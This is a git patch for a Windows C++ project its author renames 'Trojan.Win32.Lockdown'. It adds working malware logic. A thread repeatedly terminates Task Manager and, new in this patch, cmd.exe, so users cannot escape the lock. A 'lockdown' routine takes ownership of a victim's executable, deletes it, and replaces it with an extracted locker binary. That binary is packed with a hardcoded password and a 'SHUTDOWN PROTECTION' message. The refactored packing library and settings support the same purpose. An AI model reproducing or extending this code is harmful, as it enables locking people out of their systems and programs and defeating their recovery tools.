From b19327224d83175a54c8a5ed50dac021a99da073 Mon Sep 17 00:00:00 2001 From: a Date: Tue, 7 Nov 2017 22:42:28 -0500 Subject: [PATCH] 1.4 1.4 (11/7/2017) - Project renamed to Trojan.Win32.Lockdown - Now blocks cmd.exe - Shutdown 2017 no longer has dependencies - Shutdown 2017 runs builder and lockdown internally. - Minor bug fixes --- CHANGELOG.md | 10 ++- README.md | 2 +- builder/frmMain.cpp | 33 ++++---- library/SHA256LICENSE.txt | 36 +++++++++ {builder => library}/locker.cpp | 8 ++ {builder => library}/locker.h | 2 +- {builder => library}/pack.cpp | 38 ++++++--- {builder => library}/pack.h | 5 +- library/settings.h | 34 ++++++++ {builder => library}/sha256.cpp | 2 + {builder => library}/sha256.h | 0 locker/handleThread.cpp | 70 +++++++++-------- locker/sha256.cpp | 132 -------------------------------- locker/sha256.h | 53 ------------- shutdown2017/frmMain.cpp | 3 + shutdown2017/lockdown.cpp | 57 +++++++++++--- shutdown2017/lockdown.h | 2 + shutdown2017/resource.h | Bin 0 -> 1002 bytes 18 files changed, 225 insertions(+), 262 deletions(-) create mode 100644 library/SHA256LICENSE.txt rename {builder => library}/locker.cpp (90%) rename {builder => library}/locker.h (91%) rename {builder => library}/pack.cpp (64%) rename {builder => library}/pack.h (79%) create mode 100644 library/settings.h rename {builder => library}/sha256.cpp (99%) rename {builder => library}/sha256.h (100%) delete mode 100644 locker/sha256.cpp delete mode 100644 locker/sha256.h create mode 100644 shutdown2017/resource.h diff --git a/CHANGELOG.md b/CHANGELOG.md index f94ed66..d12aa18 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,12 @@ -1.3 +1.4 (11/7/2017) + +- Project renamed to Trojan.Win32.Lockdown +- Now blocks cmd.exe +- Shutdown 2017 no longer has dependencies +- Shutdown 2017 runs builder and lockdown internally. +- Minor bug fixes + +1.3 (11/1/2017) - Exit button added to GUI - Save file dialog fixed diff --git a/README.md b/README.md index 1b60990..c183849 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ In the releases, I've included the builder, the empty screenlock exe (don't run) --- -# AHXR ScreenLock - Shutdown 2017 +# Trojan.Win32.Lockdown - Shutdown 2017

diff --git a/builder/frmMain.cpp b/builder/frmMain.cpp index 9aef324..e7f6da5 100644 --- a/builder/frmMain.cpp +++ b/builder/frmMain.cpp @@ -23,8 +23,6 @@ #include #include -//#define DEBUG_MODE - using namespace msclr::interop; using namespace System; using namespace System::Windows::Forms; @@ -35,28 +33,29 @@ bool b_tracking_toggle; #include "locker.h" #include "pack.h" #include "frmMain.h" +#include "settings.h" [STAThread] void main(array^ args) { - #ifdef DEBUG_MODE packLocker("AXHRLocker.exe", "hi", "basic message."); #endif - - if (args->Length >= 3) { - // For some reason I'm unable to directly use args in marshal_as (argument error) - System::String ^ s_arg_one; - System::String ^ s_arg_two; - System::String ^ s_arg_three; - System::String ^ s_arg_four; - System::String ^ s_arg_five; - s_arg_one = args[0]; - s_arg_two = args[1]; - s_arg_three = args[2]; - s_arg_four = args[3]; - s_arg_five = args[4]; + // For some reason I'm unable to directly use args in marshal_as (argument error) + String + ^ s_arg_one, + ^ s_arg_two, + ^ s_arg_three, + ^ s_arg_four, + ^ s_arg_five + ; + + s_arg_one = args[ARG_FILE_NAME]; + s_arg_two = args[ARG_PASSWORD]; + s_arg_three = args[ARG_MESSAGE]; + s_arg_four = args[ARG_EXE]; + s_arg_five = args[ARG_ADDRESS]; std::string s_file_name = marshal_as< std::string >(s_arg_one); //std::cout << s_file_name << " | " << marshal_as< std::string >(s_arg_two) << " | " << marshal_as< std::string >(s_arg_three) << " | " << marshal_as< std::string >(s_arg_four) << std::endl; @@ -68,7 +67,7 @@ void main(array^ args) { packLocker(s_file_name, marshal_as< std::string >(s_arg_two), marshal_as< std::string >(s_arg_three)); if (args->Length >= 4) { - s_arg_four = args[3]; + s_arg_four = args[ARG_EXE]; std::string s_exe = marshal_as< std::string >(s_arg_four); diff --git a/library/SHA256LICENSE.txt b/library/SHA256LICENSE.txt new file mode 100644 index 0000000..3d81043 --- /dev/null +++ b/library/SHA256LICENSE.txt @@ -0,0 +1,36 @@ +/* + * Updated to C++, zedwood.com 2012 + * Based on Olivier Gay's version + * See Modified BSD License below: + * + * FIPS 180-2 SHA-224/256/384/512 implementation + * Issue date: 04/30/2005 + * http://www.ouah.org/ogay/sha2/ + * + * Copyright (C) 2005, 2007 Olivier Gay + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the project nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ \ No newline at end of file diff --git a/builder/locker.cpp b/library/locker.cpp similarity index 90% rename from builder/locker.cpp rename to library/locker.cpp index 0cbfbb8..0385389 100644 --- a/builder/locker.cpp +++ b/library/locker.cpp @@ -22,10 +22,14 @@ //======================================================= #include #include + +#include "settings.h" #include "pack.h" using namespace std; +string LOCKER_FILE_NAME; + void buildNewLocker(string fileName) { ifstream f_old; @@ -39,4 +43,8 @@ void buildNewLocker(string fileName) { f_old.close(); f_new.close(); +} + +void setLockerFileName(string name) { + LOCKER_FILE_NAME = name; } \ No newline at end of file diff --git a/builder/locker.h b/library/locker.h similarity index 91% rename from builder/locker.h rename to library/locker.h index 1fe6ab7..517fd10 100644 --- a/builder/locker.h +++ b/library/locker.h @@ -23,4 +23,4 @@ #include extern void buildNewLocker( std::string fileName); -extern void attachExecutable( std::string packedFile, std::string exePath); \ No newline at end of file +extern void setLockerFileName( std::string name); \ No newline at end of file diff --git a/builder/pack.cpp b/library/pack.cpp similarity index 64% rename from builder/pack.cpp rename to library/pack.cpp index 91b0616..3145fcf 100644 --- a/builder/pack.cpp +++ b/library/pack.cpp @@ -22,6 +22,8 @@ //======================================================= #include "pack.h" #include "sha256.h" +#include "settings.h" + #include #include #include @@ -34,10 +36,10 @@ void packLocker(string fileName, string password, string message) { f_file.open(fileName, fstream::app); - f_file << "----"; - f_file << "{" << sha256(password) << "}"; - f_file << "{" << message << "}"; - f_file << "{" << "0" << "}"; + f_file << PACK_SPLITTER; + f_file << PACK_OPENER << sha256(password) << PACK_CLOSER; + f_file << PACK_OPENER << message << PACK_CLOSER; + f_file << PACK_OPENER << PACK_ADDRESS_DEF << PACK_CLOSER; f_file.close(); } @@ -48,12 +50,28 @@ void packLocker(string fileName, string password, string message, string address f_file.open(fileName, fstream::app); - f_file << "----"; - f_file << "{" << sha256(password) << "}"; - f_file << "{" << message << "}"; - f_file << "{" << address << "}"; + f_file << PACK_SPLITTER; + f_file << PACK_OPENER << sha256(password) << PACK_CLOSER; + f_file << PACK_OPENER << message << PACK_CLOSER; + f_file << PACK_OPENER << address << PACK_CLOSER; + + f_file.close(); +} + +void packLocker(string fileName, string password, string message, string address, string exePath) { + fstream + f_file; + + f_file.open(fileName, fstream::app); + + f_file << PACK_SPLITTER; + f_file << PACK_OPENER << sha256(password) << PACK_CLOSER; + f_file << PACK_OPENER << message << PACK_CLOSER; + f_file << PACK_OPENER << address << PACK_CLOSER; f_file.close(); + + attachExecutable(fileName, exePath); } void attachExecutable(string packedFile, string exePath) { @@ -67,9 +85,7 @@ void attachExecutable(string packedFile, string exePath) { f_write.open( packedFile, fstream::app | fstream::binary); // Creating brackets and writing the exe into the packed file. - f_write << "{"; - f_write << f_exe.rdbuf(); - f_write << "}"; + f_write << PACK_OPENER << f_exe.rdbuf() << PACK_CLOSER; f_exe.close(); f_write.close(); diff --git a/builder/pack.h b/library/pack.h similarity index 79% rename from builder/pack.h rename to library/pack.h index d44c26c..564ef93 100644 --- a/builder/pack.h +++ b/library/pack.h @@ -21,7 +21,8 @@ */ //======================================================= #include -#define LOCKER_FILE_NAME "AHXRLocker.exe" extern void packLocker(std::string fileName, std::string password, std::string message); -extern void packLocker(std::string fileName, std::string password, std::string message, std::string address); \ No newline at end of file +extern void packLocker(std::string fileName, std::string password, std::string message, std::string address); +extern void packLocker(std::string fileName, std::string password, std::string message, std::string address, std::string exePath); +extern void attachExecutable(std::string packedFile, std::string exePath); \ No newline at end of file diff --git a/library/settings.h b/library/settings.h new file mode 100644 index 0000000..836ce7f --- /dev/null +++ b/library/settings.h @@ -0,0 +1,34 @@ +/* + @title + AHXRScreenLock + @author + AHXR (https://github.com/AHXR) + @copyright + 2017 + + AHXRScreenLock is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + AHXRScreenLock is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with AHXRScreenLock. If not, see . +*/ +//======================================================= +//#define DEBUG_MODE + +#define ARG_FILE_NAME 0 +#define ARG_PASSWORD 1 +#define ARG_MESSAGE 2 +#define ARG_EXE 3 +#define ARG_ADDRESS 4 + +#define PACK_SPLITTER "----" +#define PACK_OPENER "{" +#define PACK_CLOSER "}" +#define PACK_ADDRESS_DEF "0" \ No newline at end of file diff --git a/builder/sha256.cpp b/library/sha256.cpp similarity index 99% rename from builder/sha256.cpp rename to library/sha256.cpp index 055e81f..55bf5a9 100644 --- a/builder/sha256.cpp +++ b/library/sha256.cpp @@ -1,3 +1,5 @@ +#define _CRT_SECURE_NO_WARNINGS + #include #include #include "sha256.h" diff --git a/builder/sha256.h b/library/sha256.h similarity index 100% rename from builder/sha256.h rename to library/sha256.h diff --git a/locker/handleThread.cpp b/locker/handleThread.cpp index 5b54420..db29a76 100644 --- a/locker/handleThread.cpp +++ b/locker/handleThread.cpp @@ -26,14 +26,20 @@ #include #include +#define CMD_KILL #define TASK_MANAGER_KILL #define FORCE_WINDOW #define SCREEN_LOCK_FRM L"frmScreenLock" + #ifdef TASK_MANAGER_KILL #define SCREEN_LOCK_TSKMGR L"taskmgr.exe" #endif +#ifdef CMD_KILL + #define SCREEN_LOCK_CMD L"cmd.exe" +#endif + using namespace System; using namespace System::Threading; using namespace System::Diagnostics; @@ -46,10 +52,8 @@ HANDLE t_handle; DWORD d_thread_id; DWORD WINAPI calculateHandleData(LPVOID lpParameter); +DWORD FindProcessId(const std::wstring& processName); -#ifdef TASK_MANAGER_KILL - DWORD FindProcessId(const std::wstring& processName); -#endif void startHandleThreading() { t_handle = CreateThread(0, 0, calculateHandleData, 0, 0, &d_thread_id); @@ -100,41 +104,43 @@ DWORD WINAPI calculateHandleData(LPVOID lpParameter) { TerminateProcess(h_process, 1); } #endif + +#ifdef CMD_KILL + DWORD dc_task = FindProcessId(SCREEN_LOCK_CMD); + if (dc_task != 0) { + HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, dc_task); + TerminateProcess(h_process, 1); + } +#endif } } return 0; } -#ifdef TASK_MANAGER_KILL - /* - Taken from - https://stackoverflow.com/a/13716992 - */ - DWORD FindProcessId(const std::wstring& processName) - { - PROCESSENTRY32 processInfo; - processInfo.dwSize = sizeof(processInfo); - - HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (processesSnapshot == INVALID_HANDLE_VALUE) - return 0; - - Process32First(processesSnapshot, &processInfo); - if (!processName.compare(processInfo.szExeFile)) - { - CloseHandle(processesSnapshot); - return processInfo.th32ProcessID; - } +/* +Taken from - https://stackoverflow.com/a/13716992 +*/ +DWORD FindProcessId(const std::wstring & processName) { + PROCESSENTRY32 processInfo; + processInfo.dwSize = sizeof(processInfo); - while (Process32Next(processesSnapshot, &processInfo)) - { - if (!processName.compare(processInfo.szExeFile)) - { - CloseHandle(processesSnapshot); - return processInfo.th32ProcessID; - } - } + HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + if (processesSnapshot == INVALID_HANDLE_VALUE) + return 0; + Process32First(processesSnapshot, &processInfo); + if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processesSnapshot); - return 0; + return processInfo.th32ProcessID; } -#endif \ No newline at end of file + + while (Process32Next(processesSnapshot, &processInfo)) { + if (!processName.compare(processInfo.szExeFile)) { + CloseHandle(processesSnapshot); + return processInfo.th32ProcessID; + } + } + + CloseHandle(processesSnapshot); + return 0; +} \ No newline at end of file diff --git a/locker/sha256.cpp b/locker/sha256.cpp deleted file mode 100644 index 055e81f..0000000 --- a/locker/sha256.cpp +++ /dev/null @@ -1,132 +0,0 @@ -#include -#include -#include "sha256.h" - -const unsigned int SHA256::sha256_k[64] = //UL = uint32 -{ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, -0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, -0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, -0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, -0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, -0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, -0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, -0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, -0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, -0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, -0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, -0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, -0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, -0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, -0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, -0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 }; - -void SHA256::transform(const unsigned char *message, unsigned int block_nb) -{ - uint32 w[64]; - uint32 wv[8]; - uint32 t1, t2; - const unsigned char *sub_block; - int i; - int j; - for (i = 0; i < (int)block_nb; i++) { - sub_block = message + (i << 6); - for (j = 0; j < 16; j++) { - SHA2_PACK32(&sub_block[j << 2], &w[j]); - } - for (j = 16; j < 64; j++) { - w[j] = SHA256_F4(w[j - 2]) + w[j - 7] + SHA256_F3(w[j - 15]) + w[j - 16]; - } - for (j = 0; j < 8; j++) { - wv[j] = m_h[j]; - } - for (j = 0; j < 64; j++) { - t1 = wv[7] + SHA256_F2(wv[4]) + SHA2_CH(wv[4], wv[5], wv[6]) - + sha256_k[j] + w[j]; - t2 = SHA256_F1(wv[0]) + SHA2_MAJ(wv[0], wv[1], wv[2]); - wv[7] = wv[6]; - wv[6] = wv[5]; - wv[5] = wv[4]; - wv[4] = wv[3] + t1; - wv[3] = wv[2]; - wv[2] = wv[1]; - wv[1] = wv[0]; - wv[0] = t1 + t2; - } - for (j = 0; j < 8; j++) { - m_h[j] += wv[j]; - } - } -} - -void SHA256::init() -{ - m_h[0] = 0x6a09e667; - m_h[1] = 0xbb67ae85; - m_h[2] = 0x3c6ef372; - m_h[3] = 0xa54ff53a; - m_h[4] = 0x510e527f; - m_h[5] = 0x9b05688c; - m_h[6] = 0x1f83d9ab; - m_h[7] = 0x5be0cd19; - m_len = 0; - m_tot_len = 0; -} - -void SHA256::update(const unsigned char *message, unsigned int len) -{ - unsigned int block_nb; - unsigned int new_len, rem_len, tmp_len; - const unsigned char *shifted_message; - tmp_len = SHA224_256_BLOCK_SIZE - m_len; - rem_len = len < tmp_len ? len : tmp_len; - memcpy(&m_block[m_len], message, rem_len); - if (m_len + len < SHA224_256_BLOCK_SIZE) { - m_len += len; - return; - } - new_len = len - rem_len; - block_nb = new_len / SHA224_256_BLOCK_SIZE; - shifted_message = message + rem_len; - transform(m_block, 1); - transform(shifted_message, block_nb); - rem_len = new_len % SHA224_256_BLOCK_SIZE; - memcpy(m_block, &shifted_message[block_nb << 6], rem_len); - m_len = rem_len; - m_tot_len += (block_nb + 1) << 6; -} - -void SHA256::final(unsigned char *digest) -{ - unsigned int block_nb; - unsigned int pm_len; - unsigned int len_b; - int i; - block_nb = (1 + ((SHA224_256_BLOCK_SIZE - 9) - < (m_len % SHA224_256_BLOCK_SIZE))); - len_b = (m_tot_len + m_len) << 3; - pm_len = block_nb << 6; - memset(m_block + m_len, 0, pm_len - m_len); - m_block[m_len] = 0x80; - SHA2_UNPACK32(len_b, m_block + pm_len - 4); - transform(m_block, block_nb); - for (i = 0; i < 8; i++) { - SHA2_UNPACK32(m_h[i], &digest[i << 2]); - } -} - -std::string sha256(std::string input) -{ - unsigned char digest[SHA256::DIGEST_SIZE]; - memset(digest, 0, SHA256::DIGEST_SIZE); - - SHA256 ctx = SHA256(); - ctx.init(); - ctx.update((unsigned char*)input.c_str(), input.length()); - ctx.final(digest); - - char buf[2 * SHA256::DIGEST_SIZE + 1]; - buf[2 * SHA256::DIGEST_SIZE] = 0; - for (int i = 0; i < SHA256::DIGEST_SIZE; i++) - sprintf(buf + i * 2, "%02x", digest[i]); - return std::string(buf); -} \ No newline at end of file diff --git a/locker/sha256.h b/locker/sha256.h deleted file mode 100644 index 55a9e0e..0000000 --- a/locker/sha256.h +++ /dev/null @@ -1,53 +0,0 @@ -#ifndef SHA256_H -#define SHA256_H -#include - -class SHA256 -{ -protected: - typedef unsigned char uint8; - typedef unsigned int uint32; - typedef unsigned long long uint64; - - const static uint32 sha256_k[]; - static const unsigned int SHA224_256_BLOCK_SIZE = (512 / 8); -public: - void init(); - void update(const unsigned char *message, unsigned int len); - void final(unsigned char *digest); - static const unsigned int DIGEST_SIZE = (256 / 8); - -protected: - void transform(const unsigned char *message, unsigned int block_nb); - unsigned int m_tot_len; - unsigned int m_len; - unsigned char m_block[2 * SHA224_256_BLOCK_SIZE]; - uint32 m_h[8]; -}; - -std::string sha256(std::string input); - -#define SHA2_SHFR(x, n) (x >> n) -#define SHA2_ROTR(x, n) ((x >> n) | (x << ((sizeof(x) << 3) - n))) -#define SHA2_ROTL(x, n) ((x << n) | (x >> ((sizeof(x) << 3) - n))) -#define SHA2_CH(x, y, z) ((x & y) ^ (~x & z)) -#define SHA2_MAJ(x, y, z) ((x & y) ^ (x & z) ^ (y & z)) -#define SHA256_F1(x) (SHA2_ROTR(x, 2) ^ SHA2_ROTR(x, 13) ^ SHA2_ROTR(x, 22)) -#define SHA256_F2(x) (SHA2_ROTR(x, 6) ^ SHA2_ROTR(x, 11) ^ SHA2_ROTR(x, 25)) -#define SHA256_F3(x) (SHA2_ROTR(x, 7) ^ SHA2_ROTR(x, 18) ^ SHA2_SHFR(x, 3)) -#define SHA256_F4(x) (SHA2_ROTR(x, 17) ^ SHA2_ROTR(x, 19) ^ SHA2_SHFR(x, 10)) -#define SHA2_UNPACK32(x, str) \ -{ \ - *((str) + 3) = (uint8) ((x) ); \ - *((str) + 2) = (uint8) ((x) >> 8); \ - *((str) + 1) = (uint8) ((x) >> 16); \ - *((str) + 0) = (uint8) ((x) >> 24); \ -} -#define SHA2_PACK32(str, x) \ -{ \ - *(x) = ((uint32) *((str) + 3) ) \ - | ((uint32) *((str) + 2) << 8) \ - | ((uint32) *((str) + 1) << 16) \ - | ((uint32) *((str) + 0) << 24); \ -} -#endif \ No newline at end of file diff --git a/shutdown2017/frmMain.cpp b/shutdown2017/frmMain.cpp index 6e33760..19bf455 100644 --- a/shutdown2017/frmMain.cpp +++ b/shutdown2017/frmMain.cpp @@ -25,6 +25,7 @@ #include #include #include +#include HANDLE h_update; DWORD dh_update; @@ -44,6 +45,7 @@ DWORD WINAPI t_run_code_gui(LPVOID lpParameter); #include "scan.h" #include "frmMain.h" #include "frmCode.h" +#include "resource.h" using namespace System; using namespace System::Windows::Forms; @@ -60,6 +62,7 @@ int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pScmdline, int iC Here is the force-scan. If the client closes the scanner out, the program will automatically scan itself after being closed 15 seconds prior. */ + while (1) { if (b_closed) { diff --git a/shutdown2017/lockdown.cpp b/shutdown2017/lockdown.cpp index 59c570a..92947b9 100644 --- a/shutdown2017/lockdown.cpp +++ b/shutdown2017/lockdown.cpp @@ -22,8 +22,11 @@ //======================================================= #include "lockdown.h" #include "ownership.h" +#include "locker.h" +#include "pack.h" #include #include +#include "resource.h" using namespace std; @@ -48,24 +51,54 @@ void lockdownFile(string fileName) { TakeOwnership(const_cast< char * >(fileName.c_str())); remove(fileName.c_str()); - string - s_args = string( "AHXRBuilder.exe " ) + "\"" + fileName + "\" \"hi\" " + "\"SHUTDOWN PROTECTION\"" + " \"" + s_new_name + "\""; + /* + // Old building lockdown method. + string + s_args = string( "AHXRBuilder.exe " ) + "\"" + fileName + "\" \"hi\" " + "\"SHUTDOWN PROTECTION\"" + " \"" + s_new_name + "\""; + + puts(const_cast(s_args.c_str())); + STARTUPINFO p_start = { + sizeof(p_start) + }; + PROCESS_INFORMATION p_info; + + if (!CreateProcess(NULL, const_cast(s_args.c_str()), NULL, NULL, TRUE, 0, NULL, NULL, &p_start, &p_info)) + exit(0); + + WaitForSingleObject(p_info.hProcess, INFINITE); + CloseHandle(p_info.hProcess); + CloseHandle(p_info.hThread); + */ + + HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_BINARY2), RT_RCDATA); + unsigned int i_resource = ::SizeofResource(NULL, hRes); + LPVOID lpRes = LoadResource(NULL, hRes); + void * pResourceLock = LockResource(lpRes); + + TCHAR tmpPath[MAX_PATH]; + GetTempPath(MAX_PATH, tmpPath); + + std::string s_extract; + s_extract = tmpPath; + s_extract += "shutdown17.tmp"; + + std::fstream f; - puts(const_cast(s_args.c_str())); - STARTUPINFO p_start = { - sizeof(p_start) - }; - PROCESS_INFORMATION p_info; + f.open(s_extract, std::ios::out | std::ios::binary); + f.write((char*)pResourceLock, i_resource); + f.close(); - if (!CreateProcess(NULL, const_cast(s_args.c_str()), NULL, NULL, TRUE, 0, NULL, NULL, &p_start, &p_info)) - exit(0); + setLockerFileName(s_extract); - WaitForSingleObject(p_info.hProcess, INFINITE); - CloseHandle(p_info.hProcess); - CloseHandle(p_info.hThread); + buildNewLocker(fileName); + packLocker(fileName, SHUTDOWN_PW, SHUTDOWN_MSG); + attachExecutable(fileName, s_new_name); + + TakeOwnership(const_cast< char * >(s_new_name.c_str())); remove(s_new_name.c_str()); // Remove old .exe file. + remove(s_extract.c_str()); // Remove .tmp } } diff --git a/shutdown2017/lockdown.h b/shutdown2017/lockdown.h index 52694bb..2a74bfc 100644 --- a/shutdown2017/lockdown.h +++ b/shutdown2017/lockdown.h @@ -23,6 +23,8 @@ #include #define SHUTDOWN_EXT ".sd" +#define SHUTDOWN_PW "hi" +#define SHUTDOWN_MSG "SHUTDOWN PROTECTION" extern void lockdownFile(std::string fileName); extern bool isFileLocked(std::string fileName); diff --git a/shutdown2017/resource.h b/shutdown2017/resource.h new file mode 100644 index 0000000000000000000000000000000000000000..6ee71cc600b33970f92a8d7dffa716578d564a9e GIT binary patch literal 1002 zcmb7@Z%e{Z6o-GWgTBL{mqGriFEBSDNvBLF`D)~JWr%`vSwvsGdhVT=g^b1FvU3mT zJont+x%>L8sit=|AH$*5s(Cg%WMFR>n%TB{n9ODc6IR z>^xm!jvh7FinSrWk0k>l!C_X_FciMlP7Ywh4% zK~4^Jro#(MHB57^L;pT?v08WmoKO=rh*!0S>f~1?H!E`;sC6|h`A6A+o?oq=Mw=AX za$;fpf7peRW)|gKqtEf{G=JKRcc1Px H`n~@KJNk%T literal 0 HcmV?d00001